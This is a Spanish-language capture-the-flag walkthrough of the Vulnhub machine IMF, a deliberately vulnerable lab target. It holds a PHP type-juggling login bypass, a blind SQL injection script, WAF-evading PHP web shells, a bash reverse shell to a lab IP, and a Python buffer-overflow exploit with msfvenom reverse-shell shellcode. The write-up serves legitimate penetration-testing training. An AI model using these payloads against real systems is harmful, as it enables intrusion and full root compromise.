Post

IMF

Writeup de la máquina IMF de Vulnhub.

IMF

Reconocimiento

Una vez importada la máquina en Virtual Box o alternativamente en VMWare usaremos arp-scan para descubrir la Dirección IP de la máquina víctima.

Pasted image 20240902214306.png

Como curiosidad si intentamos hacerle Ping observaremos que no nos responde, pues cuenta con reglas de Firewall que impiden la traza ICMP.

Pasted image 20240902214353.png

Nmap

Lo que debemos hacer ahora es un escaneo de puertos con Nmap para descubrir los puertos que se encuentran abiertos en la máquina víctima.

1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.18.86 -oG allPorts

Observaremos que solo se encuentra abierto el puerto 80.

Pasted image 20240902214524.png

Gracias a la utilidad de allPorts definida en nuestra .zshrc podemos copiarnos cómodamente los puertos que nos ha reportado que se encuentran abiertos.

Pasted image 20240902214625.png

Lo que debemos hacer ahora es realizar un escaneo más exhaustivo, pues intentaremos ver la versión que se encuentra detrás de este servidor HTTP, así también como información relevante.

1
nmap -p80 -sCV 192.168.18.86 -oN targeted

Observamos que no nos reporta nada interesante, tan solo la versión del launchap con la cual podremos saber la versión de la máquina víctima, esto no nos permitirá explotar nada, solo es a modo informativo.

Pasted image 20240902214810.png

Introduciremos la siguiente cadena en el navegador:

1
Apache httpd 2.4.18 launchpad

Observamos como nos reporta que estamos ante un Ubuntu Focal, pues una vez que entremos a la máquina podremos comprobarlo, volver a decir que esto es solo a modo informativo.

Pasted image 20240902214919.png


Explotación

Una vez realizada la fase de Reconocimiento pasaremos a analizar el puerto 80 de la máquina, pues se trata de un Servidor Web, en la página /contact.php podremos ver nombres de usuarios los cuales nos pueden servir para más adelante.

Pasted image 20240902220411.png

Meteremos en un archivo de texto, dichos nombre de usuarios para tenerlos más a mano.

Pasted image 20240902220541.png

Si miramos el código fuente del /index.php con CTRL+U veremos como se están cargando unos recursos JavaScript un tanto extraños.

Pasted image 20240902214954.png

Gracias a la herramienta de curl, y las demás herramientas de terminal podremos extraer cómodamente esta información codificada en base64 y pasarla a texto plano, para ello usaremos el siguiente comando:

1
curl -s -X GET "http://192.168.18.86/index.php" | grep "\.js" | tail -n3 | grep -oP "\".*\""  | tr -d "\"" | sed 's/js\///g' | awk -F'.' '{print $1}' | xargs | tr -d " " | base64 -d | grep -oP "\{.*\}" | tr -d "{}" | base64 -d; echo

Vemos como nos reporta la cadena imfadministrator, por lo que podemos pensar que se trata de un nuevo directorio, es decir http://192.168.18.86/imfadministrator.

Pasted image 20240902220254.png

Y efectivamente si nos dirigimos a http://192.168.18.86/imfadministrator vemos como nos reporta lo que parece un panel de login. Lo primero que se nos ocurre que debemos probar es una SQL Injection, una Inyección NoSQL o incluso una Inyección XPath.

Observaremos que con ninguna de estas inyecciones tendremos resultados. A continuación, nos percatamos que si introducimos mal el nombre de usuario nos la reporta.

Pasted image 20240902220736.png

Pero en el caso de que introduzcamos mal la contraseña y el nombre de usuario bien, será cuando nos reporte que la contraseña está mal.

Pasted image 20240902220700.png

Observamos el siguiente comentario en el código, el cual nos da a pensar que se trata de un Type Juggling, pues la contraseña se encuentra almacenada directamente en el código, y en el caso de que se este aplicando algún tipo de comparativa vulnerable podremos autenticarnos con tan solo un nombre de usuario válido.

Pasted image 20240902221016.png

En este caso la comparativa que se esta aplicando es la siguiente, pues esta es vulnerable a un Type Juggling. Pasted image 20240903003959.png

Lo que debemos hacer es modificar la información enviada por POST, es decir enviar lo siguiente:

1
user=rmichaels&pass[]=

Observamos como hemos conseguido logearnos como el usuario rmichaels, el cual habíamos encontrado antes en /contact.php.

Pasted image 20240902221054.png

Nos encontramos con una cadena en base64 si la decodificamos no encontramos nada interesante.

Pasted image 20240902221318.png

Nos copiamos la cookie de sesión con la cual hemos conseguido logearnos, y haremos CTRL+C -> Storage y la pegaremos.

Pasted image 20240902221336.png

Vemos que las distintas páginas que estamos viendo, están siendo gestionadas a través de un parámetro en la Dirección URL.

Pasted image 20240902221400.png

Dicho parámetro nos da pensar que es posible realizar un LFI, pero tras un rato probando nos daremos cuenta que por ahí no va el ataque. Ahora. probaremos a poner una comilla y vemos un error de sql, por lo que posiblemente sea vulnerable a una SQL Injection.

Pasted image 20240902221504.png

Intentaremos diferentes payloads para ver si nos muestra información diferente, pero no tendremos éxito.

1
2
?pagename=home' or 1=1-- -
?pagename=home' and 1=1-- -

En el caso de que podremos algunos de los dos siguientes payloads veremos como nos cambia la información que nos muestra en la página web.

1
2
?pagename=home' or '1'='1
?pagename=home' or 1='1

En el caso de que la condición sea verdadera nos muestra un Under Construcution.

Pasted image 20240902221922.png

Si la condición es falsa nos muestra un Welcome to the IMF Administration, por lo que tenemos una forma de enumerar la base de datos gracias a una Inyección SQL basada en booleanos.

Pasted image 20240902221931.png

Gracias al siguiente payload podremos saber si la primera letra del nombre de la base de datos actual es una a, observamos que nos devuelve un Under Construction por lo que la primera letra es una a.

1
home' or substring(database(),1,1)='a

Pasted image 20240902222107.png

En lugar, si decimos que la primera letra del nombre de la base de datos actual es una b veremos como nos devuelve un Welcome to the IMF Administration, pues la primera letra no es una b si no una a.

1
home' or substring(database(),1,1)='b

Pasted image 20240902222115.png

Gracias al siguiente script de python podremos sacar toda la información de la base de datos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/python3

import requests,string
from pwn import *

main_url = "http://192.168.18.86/imfadministrator/cms.php"
headers = {
    'PHPSESSID' : "ut7nt4o3il099fuql6ou3sgc97"
}
characters = string.printable

baseactual = "home' or substring(database(),%d,1)='%s"
todaslasbases = "home' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s"
tablas = "home' or substring((select group_concat(table_name) from information_schema.tables where table_schema = 'admin'),%d,1)='%s"
columnas = "home' or substring((select group_concat(column_name) from information_schema.columns where table_schema = 'admin' and table_name = 'pages'),%d,1)='%s"
filas = "home' or substring((select group_concat(pagename) from pages),%d,1)='%s"


def makeSQLI():

    cadena = ""

    p1 = log.progress("Inyección SQL")
    p1.status("Iniciado Inyección SQL")

    p2 = log.progress("Información extraida: ")

    for position in range(1,50):
        for character in characters:

            values = {
                'pagename' : f"{filas}" % (position, character)
            }


            r = requests.get(main_url, params=values, cookies=headers)

            if "Under Construction." in r.text:
                cadena += character
                p2.status(cadena)
                break



if __name__ == '__main__':

    makeSQLI()

Una vez tenemos la información de la base de datos admin y la tabla pages, veremos como existe un recurso adicional al cual no hemos conseguido accedido, llamado tutorials-incomplete.

Pasted image 20240902224510.png

Si accedemos a dicho recurso observaremos un código QR sospechoso, por lo que procederemos a decodificarlo.

Pasted image 20240902224613.png

Usaremos la siguiente web para decodificarlo QR-Decoder y observamos otra flag.

Pasted image 20240902224853.png

Vemos que la flag parece que nos esta dando una pista sobre un posible recurso que existe en la web.

Pasted image 20240902224932.png

En el caso de que accedamos con http://192.168.18.86/imfadministrator/uploadr942.php veremos un sitio para subir archivos.

Pasted image 20240902224950.png

En primer lugar, lo que haremos será interceptar la petición de subir un cmd.php gracias al BurpSuite y al FoxyProxy y la enviaremos al Repeater con CTRL + R. En primer lugar, lo que debemos probar es a cambiar la extensión del archivo: Validación de extensiones, además de cambiar el Content-Type: Validación Content-Type, por último probaremos a cambiar el Magic Hash: Validación a través de los Magic-Hashes y veremos que aún así nos da error, cambiaremos la extensiones de php, por una válida como es el caso de .jpg, y vemos que nos salta un WAF diciéndonos que no acepta la función system.

Pasted image 20240902225111.png

En este caso lo que podemos hacer para eludir el WAF, es usar algunos de estos dos cmd.php los cuales nos permiten bypassear la comprobación realizada por el WAF.

1
2
3
<?php
	"\x73\x79\x73\x74\x65\x6d"($_GET['cmd']);
?>
1
2
3
4
<?php
	$c=$_GET['cmd'];
	echo `$c`;
?>
1
<?= `$_GET[0]`; ?>

Observamos que cuando conseguimos bypasear el WAF nuestro archivo se ha subido con un nombre diferente.

Pasted image 20240902225359.png

Introduciendo dicho nombre en la /imfadministrator/uploads observamos que efectivamente se ha subido el archivo.

Pasted image 20240902225441.png

Lo que haremos ahora será cambiar la extensión a .gif para de esta forma subir un gif, accedemos al archivo a través del nombre que nos reporta en el comentario y vemos como no nos interpreta el código php.

Pasted image 20240902225457.png

Probaremos a pasarle un valor al parámetro cmd y vemos como nos interpreta el código php.

Pasted image 20240902225509.png

Dicha interpretación es debida a este archivo .htaccess, pues este permite que los archivo .gif sean interpretados como .php.

Pasted image 20240902225529.png

Lo que debemos hacer ahora es ponernos en escucha con NetCat y mandarnos una Reverse Shell con la siguiente comando:

1
bash -c "bash -i >%26 /dev/tcp/192.168.18.10/443 0>%261"

Observamos que recibimos correctamente la Reverse Shell.

Pasted image 20240902225625.png


Escalada de privilegios

Ahora pasaremos a la parte de escalar nuestros privilegios para ello, en primer lugar para operar más cómodamente realizaremos un Tratamiento de la TTY. Observamos que en el directorio donde se estaban subiendo los archivos hay un fichero que contiene una flag, y vemos que como contenido tiene agentservices, esto nos esta dando otra pista.

Pasted image 20240902225742.png

Si realizamos una búsqueda por archivos que se llamen agent nos encontraremos con el siguiente binario:

Pasted image 20240902225839.png

Si hacemos un netstat -nat observamos que hay un servicio corriendo por el puerto 7788.

Pasted image 20240902225854.png

Si nos conectamos a dicho servicio usando NetCat veremos como dicho servicio esta siendo ejecutado por el usuario root.

Pasted image 20240902230021.png

En el caso de que ejecutamos el archivo veremos que nos pide un Agent ID, pues probemos el que probemos nos dará un error.

Pasted image 20240903014205.png

Lo que debemos hacer ahora es transferirnos el archivo para aplicar un Binary Analysis gracias Ghidra. Destacar que debemos transferirlo de esta forma Transferir archivos > /dev/tcp, pues con Transferir archivos > Wget no funcionará.

Pasted image 20240902230407.png

Estando como el usuario root abrimos el Ghidra.

1
ghidra &/dev/null & disown

Ahora debemos crearnos un nuevo Proyecto con File > New Project > Non-Shared Project > Next >> y le especificaremos la ruta del Proyecto así como el nombre del mismo.

Pasted image 20240902230738.png

Ahora importaremos el binario agent con File > Import File.

Pasted image 20240902230916.png Pasted image 20240902230924.png

Dentro del Ghidra debemos arrastrar el binario agent al dragón.

Pasted image 20240902230956.png

Una vez hecho esto nos saltará una pestaña la cual nos pregunta si queremos realizar un Análisis y le damos a Analysis now. Cuando haya concluido el Análisis lo que debemos hacer es dirigirnos a la función principal desde el Program Tree.

Pasted image 20240902231042.png

Ahora lo que viene es un análisis del binario, destacar que para estructurar mejor toda la información le podemos dar a la l para cambiar el nombre de las variables y hacer que este sea más identificativo.

Pasted image 20240902231126.png

Tras un análisis, llegaremos a la conclusión que nuestro user_input se está comparando con la cadena 48093572, es decir debemos introducir dicha cadena para para que nos muestre el menú,

Pasted image 20240902231746.png

Efectivamente observamos que al ejecutar dicho binario e introducir la cadena 48093572 nos muestra el menú.

Pasted image 20240902231427.png

Ahora si analizamos el código de la función menu() vemos como esta devuelve nuestro user_input2, es decir la opción del menú que hayamos elegido.

Pasted image 20240902231912.png

Vemos que en función de la opción elegida, llamará a una función o otra.

Pasted image 20240902232046.png

Analizando función por función nos daremos cuenta que la función report() cuenta con la función gets() para almacenar nuestro input, la cual es crítica para realizar dicha función pues es vulnerable a un Buffer OverFlow.

Pasted image 20240902232141.png

Buffer OverFlow

A continuación probaremos a ver si nos salta en típico error de Buffer OverFlow: segmentation fault y de esta forma podremos comenzar con el Buffer OverFlow. Y efectivamente observaremos que nos muestra dicho error por lo que posiblemente es vulnerable a un Buffer OverFlow.

Pasted image 20240902232334.png

Abriremos el binario con gdb.

1
gdb ./agent -q

Tomar control sobre el EIP

Introduciremos lo siguiente para comprobar si podemos sobrescribir el EIP para posteriormente tomar el control de este.

1
2
3
4
r # Correr el programa
48093572 # Introducimos el número secreto
3 # Seleccionamos la opción 3 del menú, la cual es vulnerable a un Buffer OverFlow
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Finalmente introduciremos la cadena para comprobar si estamos sobresribiendo el EIP

Vemos que efectivamente hemos conseguido sobrescribir el EIP por lo que posiblemente sea vulnerable a un Buffer OverFlow.

Pasted image 20240902232524.png

Offset

Lo que debemos hacer ahora es saber el valor exacto del offset para ello usaremos la siguiente instrucción para generar un payload.

1
pattern create 300

Volveremos a ejecutar el programa y vemos como ahora el EIP vale VAAt.

Pasted image 20240902232617.png

Ahora ejecutaremos el siguiente comando para que automáticamente nos reporte el offset de existe antes de llegar al EIP.

1
pattern offset $eip

Vemos que el offset es 168.

Pasted image 20240902232632.png

Lo que podemos hacer ahora es generar gracias a python un patrón para comprobar si efectivamente tenemos control sobre el offset.

1
python3 -c 'print("A"*168 + "B"*4)'

Volveremos a correr el programa y vemos que efectivamente tenemos control sobre el EIP, por lo que es vulnerable a un Buffer OverFlow.

Pasted image 20240902232801.png

A continuación lo que debemos hacer es comprobar las protecciones que tiene en binario para ver por donde encaminar nuestro Buffer OverFlow, para ello ejecutaremos checksec y vemos que no tiene ningún tipo de protección, por lo que de primeras podremos ejecutar directamente un shellcode en alguna dirección de memoria, ya que NX está disable.

Pasted image 20240902232847.png

Ahora comprobaremos que si la máquina tiene el ASLR activado para ello podemos ejecutar lo siguiente, y en el caso de que veamos que las direcciones cambian (como es este caso) es sinónimo de que el ASLR se encuentra activado.

Pasted image 20240902232956.png

Si miramos el contenido de este archivo también podremos saber si se encuentra activado el ASLR, si vemos un 2 -> activado y si vemos un 0 -> desactivado.

1
cat /proc/sys/kernel/randomize_va_space 

Observamos un 2 por lo que el ASLR se encuentra activado.

Pasted image 20240902233723.png

ret2reg

En este caso lo que podemos intentar es un ret2libc, pero antes debemos comprobar si existe alguna manera más sencilla de abusar del Buffer OverFlow, pues el binario no cuenta con ninguna protección. Volveremos a provocar el Buffer OverFlow y veremos como nuestro input se esta almacenando en EAX.

Pasted image 20240902234533.png

Para comprobar esto lo que podemos hacer es ejecutar x/16wx $eax-4 y vemos como nuestro input se está almacenando ya que \x41 representa a la A en hexadecimal.

Pasted image 20240902234653.png

opcode

Lo que debemos hacer ahora es buscar algún opcode que nos permita realizar una llamada (call) o un salto (jmp) al EAX, para ello usaremos nasm_shell:

Pasted image 20240902234730.png

Nos copiaremos el opcode del call eax y los buscamos dentro del binario usando objdump, y vemos la dirección de memoria de dicho call eax.

Pasted image 20240902234748.png

Lo que debemos hacer ahora es generar nuestro shellcode, gracias a msfvenom con el siguiente comando:

1
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.18.10 LPORT=443 -b '\x00\x0a\x0d' -f c

Es importante que nuestro shellcode no supere el offset de 168, ya que en cuyo caso no nos funcionará el call eax. Vemos como no supera el offset por lo que en esa parte estaremos tranquilos.

Pasted image 20240902235056.png

Una vez tenemos toda esta información lo que haremos será construirnos el siguiente exploit en python.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/usr/bin/python3

from struct import pack
import socket

ip_addr =  "127.0.0.1"
port = 7788

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.18.10 LPORT=443 -b '\x00\x0a\x0d' -f c
shellcode = (b"\xdd\xc4\xbf\x69\xc6\x56\xf1\xd9\x74\x24\xf4\x58\x31\xc9"
b"\xb1\x12\x31\x78\x17\x03\x78\x17\x83\x81\x3a\xb4\x04\x60"
b"\x18\xce\x04\xd1\xdd\x62\xa1\xd7\x68\x65\x85\xb1\xa7\xe6"
b"\x75\x64\x88\xd8\xb4\x16\xa1\x5f\xbe\x7e\xf2\x08\x52\x74"
b"\x9a\x4a\x53\x89\xe1\xc2\xb2\x39\x73\x85\x65\x6a\xcf\x26"
b"\x0f\x6d\xe2\xa9\x5d\x05\x93\x86\x12\xbd\x03\xf6\xfb\x5f"
b"\xbd\x81\xe7\xcd\x6e\x1b\x06\x41\x9b\xd6\x49")

# objdump -d agent | grep "FF D0" -i
# 8048563:  ff d0                   call   *%eax
eip = pack("<L", 0x08048563) # call eax
offset = 168

payload = shellcode + b"A" * (offset - len(shellcode)) + eip + b"\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_addr, port))

s.recv(1024)
s.send(b"48093572\n")
s.recv(1024)
s.send(b"3\n")
s.recv(1024)
s.send(payload)
s.close()

Al ejecutar el script observaremos como recibimos la Reverse Shell por lo que habremos escalado privilegios gracias a la explotación de un Buffer OverFlow, en el caso de que queramos tener una consola intereactiva debemos aplicar un Tratamiento de la TTY.

Pasted image 20240903001141.png

This post is licensed under CC BY 4.0 by the author.